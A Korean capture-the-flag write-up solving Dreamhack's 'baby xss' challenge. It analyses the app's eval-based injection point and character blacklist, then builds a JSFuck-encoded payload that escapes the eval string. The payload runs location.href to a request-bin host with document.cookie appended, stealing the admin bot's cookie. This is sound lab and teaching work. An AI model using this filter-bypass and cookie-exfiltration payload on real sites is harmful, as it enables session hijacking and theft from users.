[Dreamhack] baby xss
문제 설명
- 아직 영어을 구사하지 못하는 baby들을 위해
alphabet
입력 필요없는 페이지를 만들었어요!
풀이
문제 사이트에 접속해보면 Baby’s music, Saved, Go to Report의 a태그들이 존재하는 걸 볼 수 있다.
index.html 파일을 보면 아래와 같이 엔드포인트가 각각 /music
, /saved
, /report
인 것을 알 수 있다.
/music
엔드포인트에 접속해보면 아래와 같이 age라는 파라미터 값으 받아와서 아래 문자열을 작성하고 이미지까지 띄워주면서 save라는 버튼이 존재한다.
music.html 소스코드에는 먼저 아래와 같이 age 값을 정규표현식을 이용해 매치하고 정규표현식과 일치하면 nope alert 창을 띄워주면서 뒤로간다. 정규표현식을 살펴보면 아래의 문자들에 대해 문자열 전체에서 모든 패턴을 찾는다.
- 영어 소문자 및 대문자
\
,&
,#
,;
,%
,*
,$
,=
의 특수문자
const recommend = (age) => {
if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
alert('nope! ⊂(・﹏・⊂)');
window.history.back()
}
music.html의 그 아래 소스 코드를 더 보면 좀 의심되는 eval
함수를 사용해서 위 사진과 같이 innerHTML
을 사용해서 h2
태그에 msg를 age
값과 같이 작성하고 있다. 그 아래에는 img 요소를 생성해서 이미지를 삽입하는 것을 알 수 있다.
eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
const img = document.createElement('img')
img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';
album.append(img);
그 아래 스크립트 코드를 더 보면 submit 버튼을 클릭하면 location.href
로 파라미터가 포함된 url로 페이지를 리로드한다. 또한 load될 때 url
객체와 urlParams
객체를 생성해서 age
값을 받아와 recommend
함수를 실행한다. save 버튼을 클릭하면 동일하게 url 객체와 urlParams 객체를 생성해 fetch API를 이용해 /save 엔드포인트에 POST 메소드로 age 값을 JSON 형태로 전달하고 서버에서 반환된 텍스트 응답값이 saved의 요소에 innerHTML로 작성된다.
submit.addEventListener('click', () => {
location.href = `?age=${age.value}`;
});
window.addEventListener('load', () => {
const url = new URL(location.href);
const urlParams = url.searchParams;
if (urlParams.get('age')) {
recommend(urlParams.get('age'));
}
});
save.addEventListener('click', async () => {
const url = new URL(location.href);
const urlParams = url.searchParams;
const res = await fetch('/save', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
age: urlParams.get('age')
}),
});
const result = await res.text();
saved.innerHTML = result;
});
save 엔드포인트로 요청을 보내니 index.js에서 /save 부분을 보면 crypto 모듈을 사용하여 20바이트의 랜덤 바이트로 생성된 데이터를 16진수 문자열로 변환하여 서버에서 클라이언트에게 id 부분을 저장하고 보여주는 걸 볼 수 있다.
app.post("/save", (req, res) => {
const id = crypto.randomBytes(20).toString('hex');
saved.set(id, req.body.age);
res.send(`saved! Remember your id: ${id}`);
})
saved.html은 music.html과는 좀 다르게 스크립트 태그로 안에 내용이 감싸져있다. load 이벤트가 발생할 때 id의 파라미터를 가져와 /saved 엔드포인트에 POST 메소드로 id 파라미터 값을 id
키 값을 가지는 JSON 형식으로 보낸다. 그 후 서버에서 받은 응답을 result에 저장하고 recommend 함수로 전달된다.
<body>
<h1>For Baby</h1>
<div id="album">
<h2 id="msg"></h2>
</div>
<script>
const recommend = (age) => {
if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
alert('nope! ⊂(・﹏・⊂)');
window.history.back()
}
eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
const img = document.createElement('img')
img.src = 'https://upload.wikimedia.org/wikipedia/en/0/03/Post_Malone_-_Twelve_Carat_Toothache.png';
album.append(img);
}
window.addEventListener('load', async () => {
const url = new URL(location.href);
const urlParams = url.searchParams;
if (urlParams.get('id')) {
const res = await fetch('/saved', {
method: 'POST',
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
id: urlParams.get('id'),
}),
});
const result = await res.text();
recommend(result);
} else {
document.body.innerHTML = '?id=';
}
})
</script>
</body>
report.html 소스 코드를 보면 아마도 관리자의 쿠키를 보내는 거 같은데 /report 엔드포인트에 POST 메소드에 JSON 형식으로 전달되고 보낸 응답 값을 data에 저장해 alert로 띄워주는 거 같다.
<body>
<h1>Report</h1>
URL : http://127.0.0.1:3000/<input id="reportURL" type="text"> <button id="submit-btn">제출</button>
<script>
const reportBox = document.querySelector('#reportURL');
const btn = document.querySelector('#submit-btn');
btn.addEventListener('click', async () => {
const result = await fetch('/report', {
method: 'POST',
body: JSON.stringify({
url: `http://127.0.0.1:3000/${reportBox.value}`,
}),
headers: {
'Content-Type': 'application/json'
}
});
let data = await result.text();
alert(data);
})
</script>
</body>
saved 동작 과정을 보면 saved에서 req.body.id 값을 가져와 age 값이 있는지 확인하고 없으면 false를 반환한다. 있으면 age 값을 그대로 반환하는 거 같다.
app.get("/saved", (req, res) => {
res.sendFile(__dirname + '/views/saved.html');
})
app.post("/saved", (req, res) => {
const age = saved.get(req.body.id);
res.send(age ? age : 'false');
})
report 쪽을 보면 헤드리스 브라우저를 이용해 관리자의 쿠키를 설정하고 해당 url에 접속하고 Reported! 라는 alert창을 띄어주는 걸 알 수 있다.
app.get("/report", (req, res) => {
res.sendFile(__dirname + '/views/report.html');
})
app.post("/report", (req, res) => {
(async () => {
const browser = await puppeteer.launch({
executablePath: '/usr/bin/google-chrome',
args: ["--no-sandbox"]
});
const page = await browser.newPage();
await page.setCookie(...cookies);
await page.goto(req.body.url);
await delay(500);
await browser.close();
})();
res.end('Reported!');
})
일단 정규표현식에서 영어 소문자 대소문자를 사용하지 못하고, \&#;%*$=
의 특수문자들을 사용하지 못하니 이를 제외한 특수문자로 xss 페이로드를 한 번 생각해보아야 한다. 대충 생각나는건 공백 + , ` ‘ ! () [] ^ @ ~ < > ? 정도인 것 같다. 일단 music 엔드포인트에서 eval 함수의 구문을 우회해서 생각해봐야 한다. 아래는 age 값이 들어갈 eval 함수인데 전체가 백틱으로 감싸져 있기 때문에 ‘, alert(1), ‘ 라는 문자열을 넣게 되면 일단 정규표현식에 걸리는 걸 제외하고 alert(1)을 실행할 수 있다.
eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
# eval(`msg.innerHTML='This is recommended album for', alert(1), '-year-old.'`);
', 1, '
을 넣게되면 일단 다음과 같이 for 다음 문자가 짤려서 xss 페이로드를 넣을 수 있을 것 같다.
해당 특수문자들로 xss 페이로드를 만들어야 하는데 예전에 xss 우회 기법을 정리하다가 JSFuck으로 우회하는 기법이 생각났는데 딱 사용 가능한 특수문자가 JSFuck을 사용하라고 만든 문제같다. 따라서 아래 문자열들을 JSFuck 사이트를 이용해 문자열을 바꿔주어야 한다. 근데 431 에러가 나온다.
location.href="https://pkxlvsz.request.dreamhack.games/"+document.cookie
431 에러에 대해서 찾아보니 JSFuck으로 만든 문자열들이 너무 긴 것 같다…
해당 문자를 좀 줄이기 위해서 검색을 하다 https://js.retn0.kr/ 라는 조금 더 줄여서 JSFuck 느낌으로 작성할 수 있는 사이트를 발견했다. 여기에서 문자열 제외하고 정규표현식에서 걸리는 특수문자들을 블랙리스트에서 제외시켜서 페이로드를 만들었다.
아래는 function() 의 JSFuck 형태인데 뒤에서 두 번째 괄호에 위에 사이트에서 줄인 location.href의 JSFuck 코드를 넣어주면 eval 함수 코드에서 실행될 수 있다.
function() = [][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()()
한 가지 더 해줘야 하는건 +가 url에 넘어가면서 공백으로 되기 때문에 이를 url 인코딩 해주기 위해 +를 %2B로 바꿔줘야 한다.
다음으로 report 엔드포인트에서 music?age=',{JSFUCK},'
위와 같이 적어주면 request bin에서 관리자의 flag 쿠키를 확인할 수 있다.
댓글남기기